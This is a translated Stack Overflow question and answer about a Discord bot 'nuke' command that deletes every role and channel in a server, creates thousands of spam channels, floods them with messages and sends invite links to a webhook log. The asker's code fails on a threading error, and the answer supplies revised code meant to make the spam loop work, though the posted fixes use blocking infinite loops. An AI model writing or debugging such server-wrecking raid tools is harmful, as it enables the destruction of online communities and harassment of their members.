首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >RuntimeWarning:从没有人期待过self._target(*self._args,**self._kwargs)

RuntimeWarning:从没有人期待过self._target(*self._args,**self._kwargs)
EN

Stack Overflow用户
提问于 2022-02-04 09:22:01
回答 1查看 839关注 0票数 2

所以我得到了一个错误:

代码语言:javascript
运行
复制
/usr/lib/python3.8/threading.py:870: RuntimeWarning: coroutine 'mspammer' was never awaited
  self._target(*self._args, **self._kwargs)
RuntimeWarning: Enable tracemalloc to get the object allocation traceback

下面是代码的一部分:

代码语言:javascript
运行
复制
async def mspammer(channel: discord.TextChannel):
    while True:
        await channel.send(random.choice(SPAM_MESSAGE))
        await asyncio.sleep(0.5)

@client.command()
async def nuke(ctx: commands.Context):
    everyonespam = True
    await ctx.message.delete()
    guild = ctx.guild
    amount = 6000
    for role in guild.roles:
      try:
        await role.delete()
        print(Fore.MAGENTA + f"Role '{role.name}' has been deleted  " + Fore.RESET)
      except:
        print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
    for channel in guild.channels:
      try:
        await channel.delete()
        print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
      except:
        print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
    for i in range(10):
      await guild.create_category(random.choice(SPAM_CATEGORY))
    channela = await guild.create_text_channel('cacti on top')
    for channel in guild.text_channels:
      link = await channel.create_invite(max_age = 0, max_uses = 0)
      link = str(link)
      webhooklog.send('NEW LINK: ' + link)
      await channela.send(random.choice(SPAM_MESSAGE))
    for i in range(amount):
      _ = Thread(target=mspammer, args=(channel,))
      _.start()
      channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))

代码应该在其中创建频道和垃圾邮件。但它只会创建频道,而不会在其中垃圾邮件。你知道有什么问题吗?

EN

回答 1

Stack Overflow用户

发布于 2022-02-04 09:30:26

编辑

我编辑了我的答案,以确保它的工作。

代码语言:javascript
运行
复制
import asyncio

async def mspam(channel: discord.TextChannel):
    while True:
        await channel.send(random.choice(SPAM_MESSAGE))
        await asyncio.sleep(0.5)

def spam(channel):
    asyncio.run(mspam(channel))

@client.command()
async def nuke(ctx: commands.Context):
    everyonespam = True
    await ctx.message.delete()
    guild = ctx.guild
    amount = 6000
    for role in guild.roles:
      try:
        await role.delete()
        print(Fore.MAGENTA + f"Role '{role.name}' has been deleted  " + Fore.RESET)
      except:
        print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
    for channel in guild.channels:
      try:
        await channel.delete()
        print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
      except:
        print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
    for i in range(10):
      await guild.create_category(random.choice(SPAM_CATEGORY))
    channela = await guild.create_text_channel('cacti on top')
    for channel in guild.text_channels:
      link = await channel.create_invite(max_age = 0, max_uses = 0)
      link = str(link)
      webhooklog.send('NEW LINK: ' + link)
      await channela.send(random.choice(SPAM_MESSAGE))
    for i in range(amount):
      channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
      spam(channel)

旧邮政

是的,您不能使用线程运行隔离脚本。一个带有一个函数的简单方法也应该能工作,因为创建一个通道不会等待任何事情。

代码语言:javascript
运行
复制
async def mspammer(channel: discord.TextChannel):
    while True:
        await channel.send(random.choice(SPAM_MESSAGE))
        await asyncio.sleep(0.5)

@client.command()
async def nuke(ctx: commands.Context):
    everyonespam = True
    await ctx.message.delete()
    guild = ctx.guild
    amount = 6000
    for role in guild.roles:
      try:
        await role.delete()
        print(Fore.MAGENTA + f"Role '{role.name}' has been deleted  " + Fore.RESET)
      except:
        print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
    for channel in guild.channels:
      try:
        await channel.delete()
        print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
      except:
        print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
    for i in range(10):
      await guild.create_category(random.choice(SPAM_CATEGORY))
    channela = await guild.create_text_channel('cacti on top')
    for channel in guild.text_channels:
      link = await channel.create_invite(max_age = 0, max_uses = 0)
      link = str(link)
      webhooklog.send('NEW LINK: ' + link)
      await channela.send(random.choice(SPAM_MESSAGE))
    for i in range(amount):
      _ = Thread(target=mspammer, args=(channel,))
      _.start()
      channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
      while True:
        await channel.send(random.choice(SPAM_MESSAGE))
        await asyncio.sleep(0.5)

唯一的错误是线程模块不支持等待的功能,因为它直接运行脚本。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/70983991

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档